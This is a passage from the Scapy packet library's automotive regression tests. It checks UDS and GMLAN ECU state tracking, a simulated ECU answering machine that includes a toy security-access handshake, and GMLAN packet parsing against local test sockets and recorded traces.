UDS(bytes(UDS()/UDS_NR(b"\x10\x00"))) p2 = UDS(bytes(UDS()/UDS_DSCPR(b"\x03"))) resp = EcuResponse([EcuState(session=1), EcuState(session=3)], [p1, p2]) cmd = resp.command() print(cmd) resp1 = eval(cmd) assert any(resp1.supports_state(s) for s in resp.states) assert any(resp.supports_state(s) for s in resp1.states) assert len(resp.responses) == len(resp1.responses) assert all(bytes(x) == bytes(y) for x, y in zip(resp.responses, resp1.responses)) assert resp1 == resp = Compare check p1 = UDS(bytes(UDS()/UDS_NR(b"\x10\x00"))) p2 = UDS(bytes(UDS()/UDS_DSCPR(b"\x03"))) resp = EcuResponse([EcuState(session=1), EcuState(session=3)], [p1, p2]) resp1 = EcuResponse([EcuState(session=1)], [p1, p2]) resp2 = EcuResponse([EcuState(session=2)], [p1, p2]) resp3 = EcuResponse([EcuState(session=1)], [p2]) assert resp == resp1 assert resp != resp2 assert resp != resp3 = Key response check req = UDS()/UDS_DSC(b"\x03") p1 = UDS(bytes(UDS()/UDS_NR(b"\x10\x00"))) p2 = UDS(bytes(UDS()/UDS_DSCPR(b"\x03"))) resp = EcuResponse([EcuState(session=1), EcuState(session=3)], [p1, p2]) assert resp.answers(req) assert resp.key_response.answers(req) + Ecu Simple operations = Log all commands applied to an Ecu msgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3), UDS(service=16) / UDS_DSC(diagnosticSessionType=4), UDS(service=16) / UDS_DSC(diagnosticSessionType=5), UDS(service=16) / UDS_DSC(diagnosticSessionType=6), UDS(service=16) / UDS_DSC(diagnosticSessionType=2)] ecu = Ecu(verbose=False, store_supported_responses=False) ecu.update(PacketList(msgs)) assert len(ecu.log["DiagnosticSessionControl"]) == 5 timestamp, value = ecu.log["DiagnosticSessionControl"][0] assert timestamp > 0 assert value == "extendedDiagnosticSession" assert ecu.log["DiagnosticSessionControl"][-1][1] == "programmingSession" = Trace all commands applied to an Ecu msgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3), UDS(service=80) / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b'\\x002\\x01\\xf4')] ecu = Ecu(verbose=True, logging=False, store_supported_responses=False) ecu.update(PacketList(msgs)) assert ecu.state.session == 3 = Generate supported responses of an Ecu msgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3), UDS(service=80) / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b'\\x002\\x01\\xf4'), UDS(service=16) / UDS_DSC(diagnosticSessionType=4)] ecu = Ecu(verbose=False, logging=False, store_supported_responses=True) ecu.update(PacketList(msgs)) supported_responses = ecu.supported_responses unanswered_packets = ecu.unanswered_packets assert ecu.state.session == 3 assert len(supported_responses) == 1 assert len(unanswered_packets) == 1 response = supported_responses[0] print(response.command()) assert response.supports_state(EcuState()) assert response.key_response.service == 80 assert unanswered_packets[0].diagnosticSessionType == 4 + Ecu Advanced checks = Analyze multiple UDS messages udsmsgs = sniff(offline=scapy_path("test/pcaps/ecu_trace.pcap.gz"), session=ISOTPSession(use_ext_address=False, basecls=UDS), count=50, timeout=3) assert len(udsmsgs) == 50 ecu = Ecu() ecu.update(udsmsgs) response = ecu.supported_responses[0] assert response.supports_state(EcuState()) assert response.key_response.service == 80 assert response.key_response.diagnosticSessionType == 3 response = ecu.supported_responses[1] assert response.supports_state(EcuState(session=3)) assert response.key_response.service == 80 assert response.key_response.diagnosticSessionType == 2 response = ecu.supported_responses[4] print(response) state = EcuState(session=2, security_level=18) print(state) assert response.supports_state(state) assert response.key_response.service == 110 assert response.key_response.dataIdentifier == 61786 assert len(ecu.log["TransferData"]) == 2 + EcuSession tests = Analyze on the fly with EcuSession session = EcuSession() with PcapReader(scapy_path("test/pcaps/ecu_trace.pcap.gz")) as sock: udsmsgs = sniff(session=ISOTPSession(supersession=session, use_ext_address=False, basecls=UDS), count=50, opened_socket=sock, timeout=3) assert len(udsmsgs) == 50 ecu = session.ecu response = ecu.supported_responses[0] assert response.supports_state(EcuState()) assert response.key_response.service == 80 assert response.key_response.diagnosticSessionType == 3 response = ecu.supported_responses[1] assert response.supports_state(EcuState(session=3)) assert response.key_response.service == 80 assert response.key_response.diagnosticSessionType == 2 response = ecu.supported_responses[4] print(response) state = EcuState(session=2, security_level=18) print(state) assert response.supports_state(state) assert response.key_response.service == 110 assert response.key_response.dataIdentifier == 61786 assert len(ecu.log["TransferData"]) == 2 = Analyze on the fly with EcuSession GMLAN1 session = EcuSession() conf.contribs['CAN']['swap-bytes'] = True with PcapReader(scapy_path("test/pcaps/gmlan_trace.pcap.gz")) as sock: gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=2, opened_socket=sock, timeout=3) ecu = session.ecu print("Check 1 after change to diagnostic mode") assert len(ecu.supported_responses) == 1 assert ecu.state == EcuState(session=3) gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=6, opened_socket=sock) ecu = session.ecu print("Check 2 after some more messages were read1") assert len(ecu.supported_responses) == 3 print("Check 2 after some more messages were read2") assert ecu.state.session == 3 print("assert 1") assert ecu.state.communication_control == 1 gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=2, opened_socket=sock) ecu = session.ecu print("Check 3 after change to programming mode (bootloader)") assert len(ecu.supported_responses) == 4 assert ecu.state.session == 2 assert ecu.state.communication_control == 1 gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=6, opened_socket=sock) ecu = session.ecu print("Check 4 after gaining security access") assert len(ecu.supported_responses) == 6 assert ecu.state.session == 2 assert ecu.state.security_level == 2 assert ecu.state.communication_control == 1 = Analyze on the fly with EcuSession GMLAN logging test session = EcuSession(verbose=False, store_supported_responses=False) conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 conf.contribs['CAN']['swap-bytes'] = True conf.debug_dissector = True gmlanmsgs = sniff(offline=scapy_path("test/pcaps/gmlan_trace.pcap.gz"), session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=200, timeout=6) ecu = session.ecu assert len(ecu.supported_responses) == 0 assert len([m for m in gmlanmsgs if m.sprintf("%GMLAN.service%") == "TransferData"]) == len(ecu.log["TransferData"]) assert len([m for m in gmlanmsgs if m.sprintf("%GMLAN.service%") == "RequestDownload"]) == len(ecu.log["RequestDownload"]) assert len([m for m in gmlanmsgs if m.sprintf("%GMLAN.service%") == "ReadDataByIdentifier"]) == len(ecu.log["ReadDataByIdentifier"]) assert len(ecu.log["SecurityAccess"]) == 2 assert len(ecu.log["SecurityAccessPositiveResponse"]) == 2 assert ecu.log["TransferData"][-1][1][0] == "downloadAndExecuteOrExecute" ================================================ FILE: test/contrib/automotive/ecu_am.uts ================================================ % Regression tests for EcuAnsweringMachine + Configuration ~ conf = Imports from test.testsocket import TestSocket, cleanup_testsockets ############ ############ + Load general modules = Load contribution layer load_contrib("automotive.uds", globals_dict=globals()) load_contrib("automotive.ecu", globals_dict=globals()) load_contrib("automotive.uds_ecu_states", globals_dict=globals()) ecu = TestSocket(UDS) tester = TestSocket(UDS) ecu.pair(tester) + Simulator tests = Simple check with RDBI and Negative Response example_responses = \ [EcuResponse([EcuState(session=1)], responses=UDS() / UDS_RDBIPR(dataIdentifier=0x1234) / Raw(b"deadbeef"))] success = False answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[0x123]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS(service=0x22), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[0x1234]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 0x1234 assert resp.load == b"deadbeef" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with different Sessions example_responses = \ [EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"deadbeef1")), EcuResponse(EcuState(session=[3, 4]), responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"deadbeef2")), EcuResponse(EcuState(session=[5, 6, 7]), responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef3")), EcuResponse(EcuState(session=[8, 9]), responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b"deadbeef4"))] success = False answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 answering_machine.state.session = 2 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 2 assert resp.load == b"deadbeef1" answering_machine.state.session = 4 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 3 assert resp.load == b"deadbeef2" answering_machine.state.session = 6 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 5 assert resp.load == b"deadbeef3" answering_machine.state.session = 9 resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 9 assert resp.load == b"deadbeef4" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with different Sessions and diagnosticSessionControl example_responses = \ [EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"deadbeef1")), EcuResponse(EcuState(session=range(3,5)), responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"deadbeef2")), EcuResponse(EcuState(session=[5,6,7]), responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef3")), EcuResponse(EcuState(session=9), responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b"deadbeef4")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=1, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=2, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=4, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=5, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=6, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=7, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(0,8))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=8, sessionParameterRecord=b"dead")), EcuResponse([EcuState(), EcuState(session=range(8,10))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead1")), EcuResponse([EcuState(), EcuState(session=range(8,10))], responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead2")), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=2), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 2 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 2 assert resp.load == b"deadbeef1" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=4), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 4 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 3 assert resp.load == b"deadbeef2" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=6), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 6 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 5 assert resp.load == b"deadbeef3" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=8), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 8 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_DSC(diagnosticSessionType=9), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 9 assert resp.sessionParameterRecord == b"dead1" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 9 assert resp.load == b"deadbeef4" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with different Sessions and diagnosticSessionControl and answers hook def custom_answers(resp, req): if req.service + 0x40 != resp.service: return False if hasattr(req, "diagnosticSessionType"): if 0 < req.diagnosticSessionType <= 8: resp.diagnosticSessionType = req.diagnosticSessionType return resp.answers(req) return False example_responses = \ [EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"deadbeef1")), EcuResponse(EcuState(session=range(3,5)), responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"deadbeef2")), EcuResponse(EcuState(session=[5,6,7]), responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef3")), EcuResponse(EcuState(session=[9, 10]), responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b"deadbeef4")), EcuResponse(EcuState(session=range(0,8)), responses=UDS() / UDS_DSCPR(diagnosticSessionType=1, sessionParameterRecord=b"dead"), answers=custom_answers), EcuResponse(EcuState(session=range(8,10)), responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead1")), EcuResponse(EcuState(session=range(8,10)), responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b"dead2")), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff}) sim.start() try: resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.negativeResponseCode == 0x10 assert resp.requestServiceId == 34 resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=2), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 2 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 2 assert resp.load == b"deadbeef1" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=4), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 4 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 3 assert resp.load == b"deadbeef2" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=6), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 6 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 5 assert resp.load == b"deadbeef3" resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=8), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 8 assert resp.sessionParameterRecord == b"dead" resp = tester.sr1(UDS() / UDS_DSC(diagnosticSessionType=9), timeout=1, verbose=False) assert resp.service == 0x50 assert resp.diagnosticSessionType == 9 assert resp.sessionParameterRecord == b"dead1" resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False) assert resp.service == 0x62 assert resp.dataIdentifier == 9 assert resp.load == b"deadbeef4" success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with security access and answers hook security_seed = b"abcd" def custom_answers(resp, req): global security_seed if req.service + 0x40 != resp.service or req.service != 0x27: return False if req.securityAccessType == 1: resp.securitySeed = security_seed return resp.answers(req) elif req.securityAccessType == 2: return resp.answers(req) and req.securityKey == security_seed + security_seed return False example_responses = \ [EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b"1234"), answers=custom_answers), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 10, 'stop_filter': lambda p: p.service==0xff}) sim.start() try: resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=1, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x35 resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=1, verbose=False) assert resp.service == 0x67 success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with security access and answers hook and request-correctly-received message security_seed = b"abcd" def custom_answers(resp, req): global security_seed if req.service + 0x40 != resp.service or req.service != 0x27: return False if req.securityAccessType == 1: resp.securitySeed = security_seed return resp.answers(req) elif req.securityAccessType == 2: return resp.answers(req) and req.securityKey == security_seed + security_seed return False example_responses = \ [EcuResponse(EcuState(session=range(0,255)), responses=[UDS()/UDS_NR(negativeResponseCode=0x78, requestServiceId=0x27), UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b"1234")], answers=custom_answers), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] success = False answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 10, 'stop_filter': lambda p: p.service==0xff}) sim.start() try: resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=2, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=2, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x35 resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=2, verbose=False) assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=2, verbose=False) assert resp.service == 0x67 success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success = Simple check with security access and answers hook and request-correctly-received message 2 security_seed = b"abcd" def custom_answers(resp, req): global security_seed if req.service + 0x40 != resp.service or req.service != 0x27: return False if req.securityAccessType == 1: resp.securitySeed = security_seed return resp.answers(req) elif req.securityAccessType == 2: return resp.answers(req) and req.securityKey == security_seed + security_seed return False example_responses = \ [EcuResponse(EcuState(session=range(0,255)), responses=[UDS()/UDS_NR(negativeResponseCode=0x78, requestServiceId=0x27), UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b"1234")], answers=custom_answers), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))] conf.contribs['UDS']['treat-response-pending-as-answer'] = True success = False answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS) sim = threading.Thread(target=answering_machine, kwargs={'timeout':5, 'stop_filter': lambda p: p.service==0xff}) sim.start() try: resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x78 resp = tester.sniff(timeout=2, count=1, verbose=False)[0] assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=3, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x35 resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False) assert resp.service == 0x7f assert resp.negativeResponseCode == 0x78 resp = tester.sniff(timeout=2, count=1, verbose=False)[0] assert resp.service == 0x67 assert resp.securitySeed == b"abcd" resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=1, verbose=False) assert resp.service == 0x67 success = True except Exception as ex: print(ex) finally: tester.send(UDS(service=0xff)) sim.join(timeout=10) assert success conf.contribs['UDS']['treat-response-pending-as-answer'] = False + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/contrib/automotive/gm/gmlan.uts ================================================ # gmlan unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/gmlan.uts -F % gmlan unit tests + Configuration of scapy = Load gmlan layer ~ conf load_contrib("automotive.ecu", globals_dict=globals()) load_contrib("automotive.gm.gmlan", globals_dict=globals()) from scapy.contrib.automotive.gm.gmlan_ecu_states import * from scapy.contrib.automotive.gm.gmlan_logging import * + Basic Packet Tests() = Set GMLAN ECU AddressingScheme conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 assert conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == 2 = Craft Packet x = GMLAN(b'\x52\x02\x01\x16\x71\x00\x00\x0c\xaa\xbb') x.load == b'\x00\x0c\xaa\xbb' x.service == 0x52 = Craft VIN Packet x = GMLAN(b'\x5a\x90'+ raw(b"WOOOJBF35W1042000")) x.load == b'WOOOJBF35W1042000' x.dataIdentifier == 0x90 = Test Packet with ECU AddressingScheme2 x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22') x.memoryAddress == 0x1122 x.memorySize == 0x4422 = Test Packet GMLAN_RMBAPR with ECU AddressingScheme2 y = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22') y.memoryAddress == 0x1122 y.dataRecord == b'\x44\x22' y.answers(x) == True = Craft Packet with ECU AddressingScheme2 x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22') y = GMLAN()/GMLAN_RMBA(memoryAddress=0x1122, memorySize=0x4422) bytes(x) == bytes(y) = Test Packet with ECU AddressingScheme3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22\x11') x.memoryAddress == 0x112244 x.memorySize == 0x2211 = Test Packet GMLAN_RMBAPR with ECU AddressingScheme3 y = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22\x11') y.memoryAddress == 0x112244 y.dataRecord == b'\x22\x11' y.answers(x) == True = Craft Packet with ECU AddressingScheme3 x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22\x11') y = GMLAN()/GMLAN_RMBA(memoryAddress=0x112244, memorySize=0x2211) bytes(x) == bytes(y) = Test Packet with ECU AddressingScheme4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22\x11\x00') x.memoryAddress == 0x11224422 x.memorySize == 0x1100 = Test Packet GMLAN_RMBAPR with ECU AddressingScheme4 y = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22\x11\x00') y.memoryAddress == 0x11224422 y.dataRecord == b'\x11\x00' y.answers(x) == True = Craft Packet with ECU AddressingScheme4 x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22\x11\x00') y = GMLAN()/GMLAN_RMBA(memoryAddress=0x11224422, memorySize=0x1100) bytes(x) == bytes(y) = Craft Packet for RequestDownload2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x34\x12\x08\x15') x.service == 0x34 x.dataFormatIdentifier == 0x12 x.memorySize == 0x815 y = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x815) bytes(y) == bytes(x) = Craft Packet for RequestDownload3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x34\x12\x08\x15\x00') x.service == 0x34 x.dataFormatIdentifier == 0x12 x.memorySize == 0x81500 y = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x81500) bytes(y) == bytes(x) = Craft Packet for RequestDownload4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x34\x12\x08\x15\x00\x11') x.service == 0x34 x.dataFormatIdentifier == 0x12 x.memorySize == 0x8150011 = Craft Packet for RFRD1 a = GMLAN(b'\x12\x01') a.service == 0x12 a.subfunction == 1 = Craft Packet for RFRD2 b = GMLAN(b'\x12\x02\x01\x02\x03\x04') b.service == 0x12 b.subfunction == 2 b.dtc.failureRecordNumber == 1 b.dtc.DTCHighByte == 2 b.dtc.DTCLowByte == 3 b.dtc.DTCFailureType == 4 = Craft Packet for RFRDPR_RFRI x = GMLAN(b'\x52\x01\x00\x01\x02\x03\x04') x.service == 0x52 x.subfunction == 1 x.failureRecordDataStructureIdentifier == 0 x.dtcs[0].failureRecordNumber == 1 x.dtcs[0].DTCHighByte == 2 x.dtcs[0].DTCLowByte == 3 x.dtcs[0].DTCFailureType == 4 x.answers(a) == True = Craft Packet for RFRDPR_RFRI x = GMLAN(b'\x52\x01\x00\x01\x02\x03\x04\x01\x02\x03\x04\x01\x02\x03\x04\x01\x02\x03\x04') x.service == 0x52 x.subfunction == 1 x.failureRecordDataStructureIdentifier == 0 x.dtcs[0].failureRecordNumber == 1 x.dtcs[0].DTCHighByte == 2 x.dtcs[0].DTCLowByte == 3 x.dtcs[0].DTCFailureType == 4 x.dtcs[1].failureRecordNumber == 1 x.dtcs[1].DTCHighByte == 2 x.dtcs[1].DTCLowByte == 3 x.dtcs[1].DTCFailureType == 4 x.dtcs[2].failureRecordNumber == 1 x.dtcs[2].DTCHighByte == 2 x.dtcs[2].DTCLowByte == 3 x.dtcs[2].DTCFailureType == 4 x.dtcs[3].failureRecordNumber == 1 x.dtcs[3].DTCHighByte == 2 x.dtcs[3].DTCLowByte == 3 x.dtcs[3].DTCFailureType == 4 x.answers(a) == True = Craft Packet for RFRDPR_RFRP x = GMLAN(b'\x52\x02\x01\x02\x03\x04deadbeef') x.service == 0x52 x.subfunction == 2 x.dtc.failureRecordNumber == 1 x.dtc.DTCHighByte == 2 x.dtc.DTCLowByte == 3 x.dtc.DTCFailureType == 4 x.show() x.load == b'deadbeef' x.answers(b) == True = Craft 